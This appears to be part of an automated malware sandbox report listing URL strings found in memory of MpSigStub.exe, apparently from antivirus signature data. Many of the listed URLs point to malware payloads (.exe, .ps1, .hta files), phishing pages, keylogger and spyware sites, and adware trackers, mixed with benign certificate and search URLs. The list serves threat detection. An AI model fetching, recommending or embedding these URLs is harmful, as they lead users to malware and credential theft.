        Source: MpSigStub.exe, 00000023.00000003.18327508493.0000015B1B6A0000.00000004.00000001.sdmpString found in binary or memory: http://registrywizard.com
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://relawananaksumsel.or.id/blosting/scan.html)
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://remitenow.one/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://remote-keylogger.net
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://remove.gettango.com/
        Source: MpSigStub.exe, 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmpString found in binary or memory: http://renatopaschoal.com.br/dropbox/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://rentalhabneew.com/
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://rep.eyeez.com/GetArea.aspx
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://rep4.upseek.org/?r2=launc1
        Source: MpSigStub.exe, 00000023.00000003.18339677269.0000015B1AB04000.00000004.00000001.sdmpString found in binary or memory: http://report.wallpaper.shqingzao.com
        Source: MpSigStub.exe, 00000023.00000003.18339677269.0000015B1AB04000.00000004.00000001.sdmpString found in binary or memory: http://report.wallpaper.shqingzao.com~
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpString found in binary or memory: http://reports.montiera.com/reports/jsRprt.srf?rid=nsis&nsisState=
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpString found in binary or memory: http://reports.montiera.com/reports/jsRprt.srf?rid=nsis&nsisState=xl
        Source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmpString found in binary or memory: http://repository.certum.pl/ctnca.cer09
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://repository.swisssign.com/0
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://requestbin.net/r/163xiqa1
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://res-backup.com/bin/3.dotm
        Source: MpSigStub.exe, 00000023.00000003.18327831413.0000015B1A891000.00000004.00000001.sdmpString found in binary or memory: http://resource.aldtop.com
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://retinnoplay.com//ord/excelz/index.php
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://retirepedia.upsproutmedia.com/obskdhi.php
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://return.hk.cn/ma/
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://rewards.getjar.com
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://rezultsd.info/cd/cd.php?id=%s&ver=ig1
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://rgho.st/download/8ygs8ldbj/3887c2b13922a712c34f8f2407d142bb5b2ed630/3887c2b13922a712c34f8f240
        Source: MpSigStub.exe, 00000023.00000003.18329672768.0000015B1ADDA000.00000004.00000001.sdmpString found in binary or memory: http://rghost.net/download/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://rhriss.com.br/site/tmp/swagin
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://rilaer.com/IfAmGZIJjbwzvKNTxSPM/ixcxmzcvqi.exe
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: http://risweg.com/flpaoql.exe
        Source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmpString found in binary or memory: http://rl.ammyy.com
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://rmportal.bpweb.bp.comx
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://rmuxvayun.pkrgzrpdebksbl.gq:23513/eater.htm?little=15162&extent=kiss&switch=19450
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://ro-member1.com
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://rocesi.com/mncejd.exe
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://romica-puceanu.com
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://rootedmoon.co.uk/css/syle.css.php
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://royalambassadorschools.com/wp-admin/includes/ftools/johnhood395.php
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://royaldiscoveryholidays.com/log/
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://roybeth.com/ext/jquery.php
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://rrppdigital.com.ve/wp-content/ai1wm-backups/chrome.jpg
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://rs-moto.ru/counter/?a=1
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://ruih.co.uk/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://ruih.co.uk/wapp/doc/
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://s-elisa.ru/data
        Source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmpString found in binary or memory: http://s.earching.info/
        Source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmpString found in binary or memory: http://s.earching.info/xA
        Source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmpString found in binary or memory: http://s.symcb.com/pca3-g5.crl0
        Source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmpString found in binary or memory: http://s.symcd.com0_
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://s.xcodelib.net/updates/ff/apps/111/pubid1001affid100100
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://s.xcodelib.net/updates/ff/apps/116/pubid1004affid100400
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://s.xcodelib.net/updates/ff/apps/119/pubid1008affid100800
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://s01.yapfiles.ru/files/1017459/2.jpg
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://s2.bestmanage.org/?name=%s
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://s3-us-west-2.amazonaws.com/elasticbeanstalk-us-west-2-143692468872/Installer.exe
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://s3.amazonaws.com/adpk/getsavin/getsavin.ini/noproxygetoksettingslocation2http://s3.amazonaws.
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://s3.amazonaws.com/rewqqq/
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://sabadabe.xyz/_output2b172f0.exe
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://saemaeul.mireene.com/skin/board/basic/bin
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://safesaver.net/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://saintechelon.tk/11.doc
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://saintechelon.tk/ejl.doc
        Source: MpSigStub.exe, 00000023.00000003.18342184671.0000015B1C358000.00000004.00000001.sdmpString found in binary or memory: http://sameshitasiteverwas.com/traf/tds/in.cgi
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://samunphai.de/sup/dhli.php
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: http://sandbaggersgolf.club/viewdoc/file.php?document=y2fzyxnqqgzlcnjlci5jb20=
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://santasalete.sp.gov.br/jss/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://saraylimucevherat.com/docfile/good/)
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: http://saveasapp.com/
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://saveimage.pw
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://savory15.pansy.ero0101.com/set_inf.php?id=ero257.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://sbrenind.com/niggab-x/niggab-x.exe
        Source: MpSigStub.exe, 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmpString found in binary or memory: http://sc-cash.com
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://schoolaredu.com/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://scorpion-swan.com/bene/dhl/dhl.php)
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://scorpion-swan.com/lamba/loginpdf.html)/type/action/s/uri
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://screenhost.pw/
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://screw-malwrhunterteam.com/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://scrollayer.com
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://scud.pipis.net/
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpString found in binary or memory: http://sds.clrsch.com/
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpString found in binary or memory: http://sds.clrsch.com/x
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpString found in binary or memory: http://sds.qckads.com/sidesearch/
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://search.17173.com/index.jsp?keyword=%s
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://search.btchina.net/search.php?query=%s
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://search.cn.yahoo.com/search?p=
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://search.crsky.com/search.asp?sType=ResName&keyword=%s
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://search.dangdang.com/dangdang.dll?mode=1020&catalog=100&key1=%s
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://search.games.sina.com.cn/cgi-bin/game_search/game_deal.cgi?keywords=%s
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://search.getwebcake.com/
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://search.lycos.com/default.asp?src=clear
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://search.newhua.com/search.asp?Keyword=%s
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://search.psn.cn/
        Source: MpSigStub.exe, 00000023.00000003.18334831739.0000015B1A746000.00000004.00000001.sdmpString found in binary or memory: http://search.shopnav.com/
        Source: MpSigStub.exe, 00000023.00000003.18334831739.0000015B1A746000.00000004.00000001.sdmpString found in binary or memory: http://search.shopnav.com/_
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://search.union.yahoo.com.cn/click/search.htm?m=
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://searchengage.com
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://searchglobalsite.com/in.cgi?
        Source: MpSigStub.exe, 00000023.00000003.18326506118.0000015B1A705000.00000004.00000001.sdmpString found in binary or memory: http://secure4709.spaldingscpa.com/con/next.php
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://secured.icbegypt.com/windows-update.hta
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://security-updater.com/binaries/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://security.symantec.com
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: http://seedstar.net
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://seliconos.3utilities.com/
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://sense-super.com/cgi/execute_log.cgi?filename=debug&type=failed_registry_read
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://seocom.name/seogo/go.xmn?ix
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: http://serbetcimimarlik.com/tests/folder/excell.php
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://sertifikati.ca.posta.rs/crl/PostaCARoot.crl0
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://server00.send6.com/1abf8588/oluwa.exe
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://server2.39slxu3bw.ru/restore.xmlscrobj.dll
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://service.pandtelectric.com/
        Source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmpString found in binary or memory: http://service.softpost.com
        Source: MpSigStub.exe, 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmpString found in binary or memory: http://service.srvmd6.com/Mac/getInstallerSettings/?version=
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://serving.myshopcouponmac.com
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://sesame96.orange.ero0101.com/set_inf.php?id=ero257.wmv&cid=
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://sesame96.orange.ero0101.com/set_inf.php?id=ero257.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://session-dyfm.clientmsg13.review/8446c35a41f9e820533b6cd008b40749?fpcum=&amp;dyfm=ywx2yxjvx3zl
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://setup-mediaplayer.info/
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://setup.theoreon.com
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://setup1.tqzn.com/barbindsoft/barsetup.exe
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://setup2.tqzn.com/barbindsoft/barsetup.exe
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://setup3.tqzn.com/barbindsoft/barsetup.exe
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://setup4.tqzn.com/barbindsoft/barsetup.exe
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://seunelson.com.br/js/10.exe
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://seunelson.com.br/js/content.xml
        Source: MpSigStub.exe, 00000023.00000003.18342184671.0000015B1C358000.00000004.00000001.sdmpString found in binary or memory: http://seuufhehfueughek.ws/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://sexfellatiomovesex.com/pc/page/set_reg.php?code=&cuid=
        Source: MpSigStub.exe, 00000023.00000003.18327831413.0000015B1A891000.00000004.00000001.sdmpString found in binary or memory: http://sf-addon.com/helper/setup/SaveFromNetHelper-Setup.exe
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://sf3q2wrq34.ddns.net
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://sfofotky.iexam.info:8080/
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://shdjhgftyhgjklolkjio.dns.navy/bcz/document.doc
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://shintorg-k.ru/errors/wpactivt.php
        Source: MpSigStub.exe, 00000023.00000003.18303365623.0000015B1C05E000.00000004.00000001.sdmpString found in binary or memory: http://shop.doublepoint.net//install/uplist2.php?pid=
        Source: MpSigStub.exe, 00000023.00000003.18303365623.0000015B1C05E000.00000004.00000001.sdmpString found in binary or memory: http://shop.doublepoint.net/install/p_boot.php
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://shoppingjardin.com.py/v1/wp-themes/2.php
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://show.daohang.la:5000/go/
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: http://sighttp.qq.com
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://silberlivigno.com/outstanding-invoices/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://silver13.net/java.exe
        Source: MpSigStub.exe, 00000023.00000003.18290582002.0000015B1BF65000.00000004.00000001.sdmpString found in binary or memory: http://simple%-files.com
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://simplesexinc.com/file/
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://simsoshop.com/update.php?c=
        Source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmpString found in binary or memory: http://sindarspen.org.br/
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://sistemasagriculturagov.org/modulos
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://sitem.biz/
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://skidochuks.de.nr
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://skidware-malwrhunterteams.com/scanme.txt
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: http://skorohod.city/invoice-corrections-for-
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://skyfalss.ir/hacnhhy/
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://skype.tom.com/download/install/sobar.exe
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://slideshowlullabies.com/plugins/content/pagenavigation/item.php)
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://slpsrgpsrhojifdij.ru/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://slpsrgpsrhojifdij.ru/krablin.exe?
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://sluzby-specjalne.cba.pl/nr26.txt
        Source: MpSigStub.exe, 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmpString found in binary or memory: http://smart-antivirus-2009buy.com
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://smart.linkprice.com/sem/overture_sponsor_search.php?maxcnt=&js=2&type=
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://smart.linkprice.com/sem/overture_sponsor_search.php?maxcnt=&js=2&type=x
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://smg-blackhat.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://smpcollection.ir/poss/doc/purchase.doc
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://sndy2kungglobalinvestmentgooglednsaddres.duckdns.org/office/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://sneak.bananamikubanana.com/pc/page/set_reg.php?afrno=&cuid=
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://so.163.com/search.php?q=
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: http://so1.5k5.net/interface?action=install&p=
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://soft.trustincash.com/url/config.xml
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://softlog.twoshadow.cn/api/data/sync
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: http://softthrifty.com/security.jsp
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://sokyoss.drelshazly.com:8080/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://solk.seamscreative.info:8080/
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://sommernph.com/og/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://sondervisual.com.ar/cnt.php?id=7314582
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://sonharvaleapena.com.br/en_us/copy_invoice/25680423862/dqzln-cwhrf_yagnf-spn
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://sonyxweb.ru
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://soriya.kr
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://speedmasterprinters.co.za/erroreng/erroreng/erroreng/erroreng/ii.php
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://sploogetube.mobi/x.ps1
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://spotdewasa.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://spotvideoporno.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://spr-updates.ddns.net/spr_updates.php-o
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://sprout17.blond.av4610.net/set_inf.php?id=movie_ef.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://spy-kill.com/bho_adult.txt
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: http://spyarsenal.com/cgi-bin/reg.pl?p=GKL&key=%s&v=%s&email=%s
        Source: MpSigStub.exe, 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmpString found in binary or memory: http://spyarsenal.com/cgi-bin/reg.pl?p=fkl&key=%s&v=%s
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://spywaresoftstop.com/download/141/setup.exe
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://spywaresoftstop.com/load.php?adv=141
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://spywaresoftstop.com/wfdfdghfdghj.htm
